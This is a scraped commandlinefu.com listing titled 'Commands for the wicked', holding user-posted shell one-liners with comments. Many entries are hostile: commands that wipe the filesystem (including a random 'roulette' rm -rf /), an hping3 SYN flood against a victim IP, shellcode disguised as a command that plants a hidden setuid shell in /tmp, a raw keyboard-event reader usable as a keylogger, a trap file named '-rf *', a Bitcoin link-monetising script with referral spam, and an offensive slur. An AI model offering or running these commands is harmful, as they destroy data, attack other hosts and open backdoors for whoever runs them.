Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

Commands for the wicked from sorted by
Terminal - Commands for the wicked - 84 results
export Q='() { a=$(pwd); [ -z "$Q_env" ] && export Q_env=$*; b=$Q_env; echo "a=$a, b=$b,"; }; Q $(pwd)'; bash -c "Q; cd ~/Desktop; Q"
2014-09-27 12:05:45
User: hute37
Functions: bash echo export
-4

It looks like this "feature" let us to "eval" and "bind" a lexical env at subshell start.

For sure, it could have some 'legal' use ...

curl "https://coinurl.com/api.php?uuid=5378..........5&url=http://www.commandlinefu.com"
2014-05-19 03:01:44
User: xmuda
-4

I has used Coinurl to make some Bitcoins.

I created my own piramidal sistem... here is the script:

#!/bin/bash

IFS=$'\n'

clear

#############

b=hist

#############

rm -rf dbfinal.txt

rm -rf ad.txt

rm -rf curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................1&url=" > curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................2&url=" >> curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................3&url=" >> curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................4&url=" >> curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................5&url=" >> curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................6&url=" >> curlapi.txt

azz=$(cat curlapi.txt | wc -l)

for xx in $(seq 1 $azz)

do

cat curlapi.txt >> ad.txt

done

#############

rm -rf db$b.txt

#############

d=$(cat $b.txt | wc -l)

for a in $(seq 1 $d)

do

e=$(cat $b.txt | sed -n "$a,$a p" | cut -d " " -f1)

g=$(cat ad.txt | sed -n "$a,$a p")

d=$(curl "$g$e");

sleep 2

echo "$d $e"

echo "$d $e" >> db$b.txt

done

sleep 3

echo "db$b.txt"

rm -rf ad.txt

rm -rf curlapi.txt

If you find usefull the script yo can create a account on coin ur usin my refer:

https://coinurl.com/index.php?ref=xmuda

Or without ma refer

https://coinurl.com/

I has made 0.02 BTC in 2 months, if you are not interested in Bitcoin, these post are not for you, but if you found the way to make btc using the method, you can say thx: 12HDiTko4VYPRMLJsZpCT7SQ6NrJW8ajEo

nmap -sP 192.168.0.1-254
ping -b 192.168.0.255
2014-01-27 08:06:07
User: betsubetsu
Functions: ping
Tags: ping
0

-b option takes the broadcast address.

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*
2013-07-02 20:13:51
Functions: echo rm
-12

WARNING! If you are not feeling lucky, don't run this command!

hping3 --rand-source -p 80 -S --flood Victim_ip
2013-04-23 14:29:04
User: xmuda
-5

Perform a DOS attack from Linux using hping3

DOS=Denial-of-Service

rm -rf / --no-preserve-root
2013-04-15 14:56:30
User: xmuda
Functions: rm
-11

There is a legend that says that when we write "rm -rf /" it will destroy all folders in linux. But is only a legend, it doesn't work in Fedora or Centos. The correct way to do it is using "--no-preserve-root"

Command to long check description or sample output
2013-04-08 13:05:33
User: techie
-13

char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

yes $(yes)
rm -rf /
perl -e 'print map { -l and $_ .= "\n" } <libxml*>'
2012-10-12 04:50:43
User: MarxBro
Functions: perl
Tags: perl
7

Perl alternative to list symlinks with a clumsy regexp filter: place the regex instead of he example 'libxml' and end it with a wildchar to see the results (previous cd on dir).

Is it possible change the '-l' test for '-d' and it will search for directories. [Same applies for -x and -X. See $(perldoc -f -x) for more tests].

I use it quite often when dealing with shared libraries...

rm **
/sbin/sysctl -w vm.drop_caches=3
2012-08-05 22:09:04
User: jlaunay
4

=1 --> to free pagecache

=2 --> to free dentries and inodes

=3 --> to free pagecache, dentries and inodes

ssh-copy-id -i .ssh/id_rsa.pub user@server
cd / && touch ./\-rf\ \*
2012-04-04 11:31:51
User: xorpaul
Functions: cd touch
-16

great way to annoy someone or test their char escaping skills

python -c "DEV = '/dev/input/event4' fo = open(DEV) def inn(k,s): if s == 0: print '%i up'%k if s == 1: print '%i down'%k while 1: l = fo.read(16) if ord(l[10]) != 0: k,s = l[10],l[12] inn(ord(k),ord(s)) "
2012-02-08 12:11:23
User: totti
Functions: python
2
python -c "DEV = '/dev/input/event4'

#if event0 doesn't work, try event1 event2 etc

fo = open(DEV)

def interpret(keycode,state):

if state == 0:

print '%i up'%keycode

if state == 1:

print '%i down'%keycode

if state == 2:

print '%i repeat'%keycode

while 1:

line = fo.read(16)

if ord(line[10]) != 0:

keycode,state = line[10],line[12]

interpret(ord(keycode),ord(state))

"

ps -eo rss,vsz,pid,cputime,cmd --width 100 --sort rss,vsz | tail --lines 10
say -v ? |awk '{print $1}' |xargs -I% say -v % kevin\'s mom is a total whore
mkdir *
2011-11-25 15:08:18
Functions: mkdir
Tags: Linux
-2

Don't Try This at Home

For remove "*" you can try:

rm -Rf \*
c=blue;convert -size 50x50 xc:$c $c.png; for i in red green yellow; do convert $c.png -background $i -rotate 20 $i.png; rm $c.png; c=$i; done; mv $i.png logo.png; display logo.png
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=Bilal Butt&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
sync && echo 1 > /proc/sys/vm/drop_caches
2011-06-10 07:32:28
User: KeePon
Functions: echo sync
17

run sync first to flush useful things out to disk!!!

To free pagecache:

echo 1 > /proc/sys/vm/drop_caches

To free dentries and inodes:

echo 2 > /proc/sys/vm/drop_caches

To free pagecache, dentries and inodes:

echo 3 > /proc/sys/vm/drop_caches

lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2